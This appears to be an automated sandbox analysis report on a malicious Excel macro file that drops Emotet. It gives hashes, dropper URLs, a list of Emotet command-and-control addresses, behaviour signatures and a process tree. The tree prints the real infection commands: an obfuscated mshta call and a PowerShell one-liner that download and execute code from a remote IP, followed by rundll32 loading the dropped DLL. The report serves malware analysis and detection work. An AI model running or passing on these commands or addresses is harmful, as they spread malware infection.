Analysis

  • max time kernel
    158s
  • max time network
    148s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    18-01-2022 21:49

General

  • Target

    a0cc02185b718d8a8caec87fdee0f6aae676b61e1c69915cbd8d8e2600263b12.xlsm

  • Size

    112KB

  • MD5

    2f00a54638c5af4aa67c03f1d7ec12d0

  • SHA1

    23994a8656707b655417077ca79294dd5a82cf36

  • SHA256

    a0cc02185b718d8a8caec87fdee0f6aae676b61e1c69915cbd8d8e2600263b12

  • SHA512

    c50ae050b50fb210c640cdd014a211f1eae5b35ba25d2728f9bb6e726ca81b459e0d593a75bf7e20d5717c008d3b004da83f63a59e0ce1cdad4a826c59070220

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://92.255.57.195/ru/ru.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://92.255.57.195/ru/ru.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a0cc02185b718d8a8caec87fdee0f6aae676b61e1c69915cbd8d8e2600263b12.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2460
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/92.255.57.195/ru/ru.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2404
      • C:\Windows\system32\mshta.exe
        mshta http://92.255.57.195/ru/ru.html
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:3172
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/ru/ru.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3940
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3216
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:872
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:2412
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Semufcrga\zqafbzuvrw.ary",ntAaFF
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2652
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Semufcrga\zqafbzuvrw.ary",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2940
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 3172 -s 1672
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2740

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/872-319-0x0000000004370000-0x0000000004398000-memory.dmp

    Filesize

    160KB

  • memory/2412-333-0x00000000050D0000-0x00000000050F8000-memory.dmp

    Filesize

    160KB

  • memory/2412-331-0x0000000004F70000-0x0000000004F98000-memory.dmp

    Filesize

    160KB

  • memory/2412-329-0x0000000004F10000-0x0000000004F38000-memory.dmp

    Filesize

    160KB

  • memory/2412-327-0x0000000004E80000-0x0000000004EA8000-memory.dmp

    Filesize

    160KB

  • memory/2412-323-0x0000000004870000-0x0000000004898000-memory.dmp

    Filesize

    160KB

  • memory/2460-129-0x00007FFFAB270000-0x00007FFFAB280000-memory.dmp

    Filesize

    64KB

  • memory/2460-118-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

    Filesize

    64KB

  • memory/2460-116-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

    Filesize

    64KB

  • memory/2460-117-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

    Filesize

    64KB

  • memory/2460-119-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

    Filesize

    64KB

  • memory/2460-128-0x00007FFFAB270000-0x00007FFFAB280000-memory.dmp

    Filesize

    64KB

  • memory/2460-115-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

    Filesize

    64KB

  • memory/2652-334-0x0000000004600000-0x0000000004628000-memory.dmp

    Filesize

    160KB

  • memory/2940-338-0x00000000044D0000-0x00000000044F8000-memory.dmp

    Filesize

    160KB

  • memory/3940-273-0x0000013668170000-0x0000013668192000-memory.dmp

    Filesize

    136KB

  • memory/3940-292-0x00000136683E0000-0x000001366841C000-memory.dmp

    Filesize

    240KB

  • memory/3940-296-0x000001364FFD0000-0x000001364FFD2000-memory.dmp

    Filesize

    8KB

  • memory/3940-297-0x000001364FFD3000-0x000001364FFD5000-memory.dmp

    Filesize

    8KB

  • memory/3940-310-0x000001364FFD6000-0x000001364FFD8000-memory.dmp

    Filesize

    8KB

  • memory/3940-305-0x0000013668810000-0x0000013668886000-memory.dmp

    Filesize

    472KB